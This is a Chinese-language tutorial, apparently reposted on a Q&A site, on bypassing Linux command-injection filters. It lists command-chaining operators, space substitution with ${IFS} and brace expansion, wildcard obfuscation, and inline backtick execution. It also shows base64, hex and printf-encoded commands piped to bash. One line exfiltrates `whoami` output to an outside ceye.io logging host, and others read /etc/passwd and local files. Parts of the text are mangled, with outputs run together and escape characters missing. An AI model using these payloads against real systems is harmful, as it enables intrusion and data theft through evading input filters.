欢迎您访问365答案网,请分享给你的朋友!
生活常识 学习资料

Linux命令执行绕过

时间:2023-09-01

主要介绍了linux的命令执行绕过、文件读取的一些方法

文章目录

符号绕过

分号 ;管道符 |符号 &符号 &&符号 ||绕过空格通配符绕过内联执行其他 文件读取编码绕过

base64hex编码绕过unicode编码 符号绕过 分号 ;

格式

command1; command2

用;号隔开每个命令,每个命令按照从左到右的顺序执行,彼此之间不关心是否失败,所有命令都会执行。

举例

echo 'hello 5wimming'>bbq.txt; cat bbq.txt

管道符 |

格式

command1 | command2 | command3

Linux所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。

举例

cat /etc/passwd | grep bash | wc -l

符号 &

格式

command1 & command2

&放在启动参数后面表示设置此进程为后台进程,上面的命令会先执行command2,再执行command1

例子

符号 &&

格式

command1 && command2 [&& commandx]

&& 表示前一条命令执行成功时,才执行后一条命令

符号 ||

格式

command1 || command2 [|| commandx]

跟&&符号相反,前面那条命令为假才会执行后面的命令

只要有一个命令返回真(命令返回值 $? == 0),后面的命令就不会被执行。–直到返回真的地方停止执行。

绕过空格

例子如下

{cat,flag.txt}cat${IFS}flag.txtcat$IFS$9flag.txtcatflag.txtcat flag

利用变量和UTF16编码

kg=$'x20bbq.txt'&&cat$kg

通配符绕过

?在linux里面可以进行代替字母
*在linux里面可以进行模糊匹配

例子如下:

newbee:temp $ cat bb??txt hello 5wimmingnewbee:temp $ cat bb*txt hello 5wimming

内联执行

例子

newbee:test $ curl `whoami`.p7yc0x.ceye.io{"meta": {"code": 201, "message": "HTTP Record Insert Success"}}

cat$IFS$1`ls`

使用内联执行会将 ``内的输出作为前面命令的输入

其他

l's' -lal$1s -lals -la

文件读取

cat:由第一行开始显示内容,并将所有内容输出

tac:从最后一行倒序显示内容,并将所有内容输出

more:根据窗口大小,一页一页的现实文件内容

less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head:只显示头几行

tail:只显示最后几行

nl:类似于cat -n,显示时输出行号

tailf:类似于tail -f

sort:先排序再读文件

paste:会把每个文件以列对列的方式,一列列地加以合并

diff:用于比较文件的差异

od:读取所给予的文件的内容,并将其内容以八进制字码呈现出来

bzmore:将bzip压缩过的文件解压到标准输出,同时也可以将普通文件显示到标准输出

bzless:用于 crt 查看 bzip2 压缩文本的文件阅读过滤器,与bzmore类似,但是功能更强大
curl:这个就众所周知了

curl file:///Users/temp/test/temp.txt

编码绕过 base64

newbee:test $ echo Y2F0IHRlbXAudHh0Cg== | base64 -dcat temp.txtnewbee:test $ echo Y2F0IHRlbXAudHh0Cg==|base64 -d|bashhello 5wimminghello bbqhello 5wimmingnewbee:test $ echo Y2F0IHRlbXAudHh0Cg==|base64 -d|shhello 5wimminghello bbqhello 5wimming

hex编码绕过

newbee:test root$ echo 6361742074656d702e7478740a | xxd -r -p|bashhello 5wimminghello bbqhello 5wimmingnewbee:test root$ echo 6361742074656d702e7478740a | xxd -r -pcat temp.txt

unicode编码

newbee:test root$ $(printf "154163") # lsdecode16.txtencode16.txttemp.txttest.ps1newbee:test root$ $(printf "catx20temp.txtx0A")

参考:
https://www.freebuf.com/articles/network/258676.html

Copyright © 2016-2020 www.365daan.com All Rights Reserved. 365答案网 版权所有 备案号:

部分内容来自互联网,版权归原作者所有,如有冒犯请联系我们,我们将在三个工作时内妥善处理。